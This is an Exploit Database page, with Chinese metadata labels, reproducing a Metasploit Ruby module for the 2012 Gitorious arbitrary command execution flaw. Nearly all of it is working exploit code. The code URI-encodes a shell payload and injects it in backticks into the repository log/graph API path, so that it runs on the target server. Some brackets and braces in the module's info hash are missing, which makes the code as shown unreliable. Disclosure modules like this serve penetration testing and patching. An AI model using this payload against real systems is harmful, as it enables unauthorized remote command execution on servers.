Gitorious – Arbitrary Command Execution (Metasploit)

Exploit Database
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作者： Metasploit

日期： 2012-01-20
类别：
- remote
平台：
- linux
来源：https://www.exploit-db.com/exploits/18393/

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Gitorious Arbitrary Command Execution',

'Description'=> %q{

This module exploits an arbitrary command execution vulnerability in the

in gitorious. Unvalidated input is send to the shell allowing command execution.

'Author' => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit

'License'=> MSF_LICENSE,

'References' =>

[

[ 'URL', 'http://gitorious.org/gitorious/mainline/commit/647aed91a4dc72e88a27476948dfbacd5d0bf7ce' ],

'Privileged' => false,

'Payload'=>

{

'BadChars' => "\x60",

'DisableNops' => true,

'Space' => 31337,

'Compat'=>

{

'PayloadType' => 'cmd',

}

'Platform' => [ 'unix', 'linux' ],

'Arch' => ARCH_CMD,

'Targets'=> [[ 'Automatic', { }]],

'DisclosureDate' => 'Jan 19 2012'

))

register_options(

[

OptString.new('URI', [true, "Path to project and repository", "/project/repo"]),

], self.class)

end

def exploit

# Make sure the URI begins with a slash

uri = datastore['URI']

if uri[0,1] != '/'

uri = '/' + uri

end

# Make sure the URI ends without a slash, because it's already part of the URI

if uri[-1, 1] == '/'

uri = uri[0, uri.length-1]

end

command = Rex::Text.uri_encode(payload.raw, 'hex-all')

command.gsub!("%20","%2520")

res = send_request_cgi({

'uri' => "/api"+ uri + "/log/graph/%60#{command}%60",

'method'=> 'GET',

'headers' =>

{

'Connection' => 'Close',

}

}) #default timeout, we don't care about the response

if (res)

print_status("The server returned: #{res.code} #{res.message}")

end

handler

end